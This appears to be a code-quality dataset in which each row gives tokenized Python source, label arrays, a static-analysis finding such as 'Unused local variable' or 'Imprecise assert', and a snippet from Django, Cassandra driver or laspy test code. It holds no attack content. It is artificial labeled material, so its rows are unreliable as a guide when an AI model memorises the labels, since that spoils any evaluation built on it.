"from", " ", "post_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question", "\\u", "id_", "=_", "int_", "(_", "request_", "._", "POST_", "[_", "'", "question", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "answer_", "=_", "request_", "._", "POST_", "[_", "'", "answer", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "from", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "question", " ", "and", " ", "error", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "question_", "=_", "Respons", "e", "Question_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Respons", "e", "Question_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "fail", "ed", "'_", ",_", "'", "message", "'_", ":_", "'", "cann", "ot", " ", "find", " ", "question", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "subm", "ission", " ", "and", " ", "create", " ", "new", " ", "subm", "ission", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Respons", "e", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Respons", "e", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Respons", "e", "Submission_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "question", "\\u", "id_", "=_", "question", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Process", " ", "the", " ", "answer_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Return", " ", "success", " ", "results_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "answer_", "=_", "answer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "submitted", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "login", "\\u", "required_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "submit", "\\u", "assignment_", "(_", "request_", ",_", "course", "\\u", "id_", ",_", "assign", "ment", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "is", "\\u", "ajax_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "from", " ", "database_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "course_", "=_", "Course_", "._", "objects_", "._", "get_", "(_", "id_", "=_", "course", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assignment_", "=_", "Assignment_", "._", "objects_", "._", "get_", "(_", "assign", "ment", "\\u", "id_", "=_", "assign", "ment", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "student_", "=_", "Student_", "._", "objects_", "._", "get_", "(_", "user_", "=_", "request_", "._", "user_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Defen", "sive", " ", "Code", ":", " ", "Prev", "ent", " ", "submit", "ting", " ", "assign", "ment", " ", "with", " ", "missi", "ng", " ", "questions_", "\\u\\u\\uNL\\u\\u\\u_", "#", "TOD", "O", ":", " ", "IMPL", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "subm", "ission", " ", "and", " ", "create", " ", "new", " ", "subm", "ission", " ", "if", " ", "not", " ", "found", "._", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Assign", "ment", "Submission_", "._", "objects_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Assign", "ment", "Submission_", "._", "Do", "es", "Not", "Exist_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "submission_", "=_", "Assign", "ment", "Submission_", "._", "objects_", "._", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "student_", "=_", "student_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "assignment_", "=_", "assignment_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "submission_", "._", "is", "\\u", "finished_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submission_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Compute", " ", "the", " ", "final", " ", "score", " ", "of", " ", "the", " ", "assignment_", "\\u\\u\\uNL\\u\\u\\u_", "compute", "\\u", "score_", "(_", "student_", ",_", "assignment_", ",_", "submission_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "data_", "=_", "{_", "'", "status", "'_", ":_", "'", "success", "'_", ",_", "'", "message", "'_", ":_", "'", "submitted", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Http", "Response_", "(_", "json_", "._", "dumps_", "(_", "response", "\\u", "data_", ")_", ",_", "content", "\\u", "type_", "=_", "\"", "applica", "tion", "/", "json", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
datastax/python-driver/example_mapper.py
[ { "content": "def main():\n connection.default()\n\n # Management functions would normally be used in development, and possibly for deployments.\n # They are typically not part of a core application.\n log.info(\"### creating keyspace...\")\n management.create_keyspace_simple(KEYSPACE, 1)\n log.info(\"### syncing model...\")\n management.sync_table(FamilyMembers)\n\n # default uuid is assigned\n simmons = FamilyMembers.create(surname='Simmons', name='Gene', birth_year=1949, sex='m')\n\n # add members to his family later\n FamilyMembers.create(id=simmons.id, surname='Simmons', name='Nick', birth_year=1989, sex='m')\n sophie = FamilyMembers.create(id=simmons.id, surname='Simmons', name='Sophie', sex='f')\n\n nick = FamilyMembers.objects(id=simmons.id, surname='Simmons', name='Nick')\n try:\n nick.iff(birth_year=1988).update(birth_year=1989)\n except LWTException:\n print \"precondition not met\"\n\n # showing validation\n try:\n FamilyMembers.create(id=simmons.id, surname='Tweed', name='Shannon', birth_year=1957, sex='f')\n except ValidationError:\n log.exception('INTENTIONAL VALIDATION EXCEPTION; Failed creating instance:')\n FamilyMembers.create(id=simmons.id, surname='Tweed', name='Shannon', sex='f')\n\n log.info(\"### add multiple as part of a batch\")\n # If creating many at one time, can use a batch to minimize round-trips\n hogan_id = uuid4()\n with BatchQuery() as b:\n FamilyMembers.batch(b).create(id=hogan_id, surname='Hogan', name='Hulk', sex='m')\n FamilyMembers.batch(b).create(id=hogan_id, surname='Hogan', name='Linda', sex='f')\n FamilyMembers.batch(b).create(id=hogan_id, surname='Hogan', name='Nick', sex='m')\n FamilyMembers.batch(b).create(id=hogan_id, surname='Hogan', name='Brooke', sex='f')\n\n log.info(\"### All members\")\n for m in FamilyMembers.all():\n print m, m.birth_year, m.sex\n\n log.info(\"### Select by partition key\")\n for m in FamilyMembers.objects(id=simmons.id):\n print m, m.birth_year, m.sex\n\n log.info(\"### Constrain on clustering key\")\n for m in FamilyMembers.objects(id=simmons.id, surname=simmons.surname):\n print m, m.birth_year, m.sex\n\n log.info(\"### Constrain on clustering key\")\n kids = FamilyMembers.objects(id=simmons.id, surname=simmons.surname, name__in=['Nick', 'Sophie'])\n\n log.info(\"### Delete a record\")\n FamilyMembers(id=hogan_id, surname='Hogan', name='Linda').delete()\n for m in FamilyMembers.objects(id=hogan_id):\n print m, m.birth_year, m.sex\n\n management.drop_keyspace(KEYSPACE)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 57 } ]
[ { "span": "sophie ", "start_line": 72, "start_column": 4, "end_line": 72, "end_column": 10 }, { "span": "kids ", "start_line": 109, "start_column": 4, "end_line": 109, "end_column": 8 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "connection_", "._", "default_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Manage", "ment", " ", "function", "s", " ", "wou", "ld", " ", "normal", "ly", " ", "be", " ", "used", " ", "in", " ", "develop", "ment", ",", " ", "and", " ", "possib", "ly", " ", "for", " ", "deployments", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "y", " ", "are", " ", "typical", "ly", " ", "not", " ", "part", " ", "of", " ", "a", " ", "core", " ", "applica", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "creati", "ng", " ", "keyspace", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "create", "\\u", "keyspace", "\\u", "simple_", "(_", "KEYS", "PACE", "_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "sync", "ing", " ", "model", "...\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "management_", "._", "sync", "\\u", "table_", "(_", "Famil", "y", "Members_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "default", " ", "uuid", " ", "is", " ", "assigned_", "\\u\\u\\uNL\\u\\u\\u_", "sim", "mon", "s_", "=_", "Famil", "y", "Members_", "._", "create_", "(_", "surname_", "=_", "'", "Sim", "mon", "s", "'_", ",_", "name_", "=_", "'", "Gene", "'_", ",_", "birth", "\\u", "year_", "=_", "194", "9_", ",_", "sex_", "=_", "'", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "add", " ", "member", "s", " ", "to", " ", "his", " ", "famil", "y", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "Famil", "y", "Members_", "._", "create_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "'", "Sim", "mon", "s", "'_", ",_", "name_", "=_", "'", "Nick", "'_", ",_", "birth", "\\u", "year_", "=_", "1989", "_", ",_", "sex_", "=_", "'", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sop", "hi", "e_", "=_", "Famil", "y", "Members_", "._", "create_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "'", "Sim", "mon", "s", "'_", ",_", "name_", "=_", "'", "So", "phi", "e", "'_", ",_", "sex_", "=_", "'", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "nick_", "=_", "Famil", "y", "Members_", "._", "objects_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "'", "Sim", "mon", "s", "'_", ",_", "name_", "=_", "'", "Nick", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nick_", "._", "iff_", "(_", "birth", "\\u", "year_", "=_", "1988", "_", ")_", "._", "update_", "(_", "birth", "\\u", "year_", "=_", "1989", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "LW", "TE", "xcept", "ion_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "precondition", " ", "not", " ", "met", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "showin", "g", " ", "validation_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Famil", "y", "Members_", "._", "create_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "'", "Twe", "ed", "'_", ",_", "name_", "=_", "'", "Shan", "non", "'_", ",_", "birth", "\\u", "year_", "=_", "195", "7_", ",_", "sex_", "=_", "'", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Validat", "ion", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "exception_", "(_", "'", "INTEN", "TIO", "NA", "L", " ", "VALIDATION", " ", "EXCEPTION", ";", " ", "Fail", "ed", " ", "creati", "ng", " ", "instance", ":'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Famil", "y", "Members_", "._", "create_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "'", "Twe", "ed", "'_", ",_", "name_", "=_", "'", "Shan", "non", "'_", ",_", "sex_", "=_", "'", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "add", " ", "multiple", " ", "as", " ", "part", " ", "of", " ", "a", " ", "batch", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "creati", "ng", " ", "many", " ", "at", " ", "one", " ", "time", ",", " ", "can", " ", "use", " ", "a", " ", "batch", " ", "to", " ", "minimize", " ", "round", "-", "trips", "_", "\\u\\u\\uNL\\u\\u\\u_", "hog", "an", "\\u", "id_", "=_", "uuid4_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "Bat", "ch", "Query_", "(_", ")_", "as_", "b_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Famil", "y", "Members_", "._", "batch_", "(_", "b_", ")_", "._", "create_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ",_", "surname_", "=_", "'", "Ho", "gan", "'_", ",_", "name_", "=_", "'", "Hul", "k", "'_", ",_", "sex_", "=_", "'", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Famil", "y", "Members_", "._", "batch_", "(_", "b_", ")_", "._", "create_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ",_", "surname_", "=_", "'", "Ho", "gan", "'_", ",_", "name_", "=_", "'", "Lin", "da", "'_", ",_", "sex_", "=_", "'", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Famil", "y", "Members_", "._", "batch_", "(_", "b_", ")_", "._", "create_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ",_", "surname_", "=_", "'", "Ho", "gan", "'_", ",_", "name_", "=_", "'", "Nick", "'_", ",_", "sex_", "=_", "'", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Famil", "y", "Members_", "._", "batch_", "(_", "b_", ")_", "._", "create_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ",_", "surname_", "=_", "'", "Ho", "gan", "'_", ",_", "name_", "=_", "'", "Bro", "oke", "'_", ",_", "sex_", "=_", "'", "f", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "All", " ", "member", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "Famil", "y", "Members_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "m_", ",_", "m_", "._", "birth", "\\u", "year_", ",_", "m_", "._", "sex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "Select", " ", "by", " ", "partit", "ion", " ", "key", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "Famil", "y", "Members_", "._", "objects_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "m_", ",_", "m_", "._", "birth", "\\u", "year_", ",_", "m_", "._", "sex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "Constr", "ain", " ", "on", " ", "clusteri", "ng", " ", "key", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "Famil", "y", "Members_", "._", "objects_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "sim", "mon", "s_", "._", "surname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "m_", ",_", "m_", "._", "birth", "\\u", "year_", ",_", "m_", "._", "sex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "Constr", "ain", " ", "on", " ", "clusteri", "ng", " ", "key", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kids", "_", "=_", "Famil", "y", "Members_", "._", "objects_", "(_", "id_", "=_", "sim", "mon", "s_", "._", "id_", ",_", "surname_", "=_", "sim", "mon", "s_", "._", "surname_", ",_", "name", "\\u\\u", "in_", "=_", "[_", "'", "Nick", "'_", ",_", "'", "So", "phi", "e", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "._", "info_", "(_", "\"###", " ", "Delete", " ", "a", " ", "record", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Famil", "y", "Members_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ",_", "surname_", "=_", "'", "Ho", "gan", "'_", ",_", "name_", "=_", "'", "Lin", "da", "'_", ")_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "m_", "in_", "Famil", "y", "Members_", "._", "objects_", "(_", "id_", "=_", "hog", "an", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "m_", ",_", "m_", "._", "birth", "\\u", "year_", ",_", "m_", "._", "sex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "management_", "._", "drop", "\\u", "keyspace_", "(_", "KEYS", "PACE", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
grantbrown/laspy/laspytest/test_laspy.py
[ { "content": " def test_GPSTime(self):\n \"\"\"Fetch and test gps_time dimension\"\"\"\n self.assertTrue(self.p1.gps_time - 2*246504.221932 \n + self.gps_time[self.idx1] < 0.00001)\n self.assertTrue(self.p2.gps_time - 2*249774.658254 \n + self.gps_time[self.idx2] < 0.00001)", "metadata": "root.LasReaderTestCase.test_GPSTime", "header": "['class', 'LasReaderTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 132 }, { "content": " def test_x(self):\n \"\"\"Writing and testing X dimenson\"\"\"\n x = [i + 1 for i in self.FileObject.X]\n self.FileObject.X = x\n x2 = self.FileObject.get_x() \n self.assertTrue((list(x) == list(x2))) \n scaled_x = self.FileObject.x\n self.FileObject.x = scaled_x\n self.assertTrue(all(scaled_x == self.FileObject.x))", "metadata": "root.LasWriterTestCase.test_x", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 186 }, { "content": " def test_y(self):\n \"\"\"Writing and testing Y dimension\"\"\"\n y = [i + 1 for i in self.FileObject.Y] \n self.FileObject.Y = y\n y2 = self.FileObject.get_y() \n self.assertTrue((list(y) == list(y2)))\n scaled_y = self.FileObject.y\n self.FileObject.y = scaled_y\n self.assertTrue(all(scaled_y == self.FileObject.y))", "metadata": "root.LasWriterTestCase.test_y", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 196 }, { "content": " def test_z(self):\n \"\"\"Writing and testing Z dimension\"\"\"\n z = [i + 1 for i in self.FileObject.Z ]\n self.FileObject.Z = z\n z2 = self.FileObject.get_z()\n self.assertTrue((list(z) == list(z2)))\n scaled_z = self.FileObject.z\n self.FileObject.z = scaled_z\n self.assertTrue(all(scaled_z == self.FileObject.z))", "metadata": "root.LasWriterTestCase.test_z", "header": "['class', 'LasWriterTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 206 }, { "content": " def test_intensity(self):\n \"\"\"Writing and testing intensity dimension\"\"\"\n i = [i + 1 for i in self.FileObject.intensity]\n self.FileObject.intensity = i\n i2 = 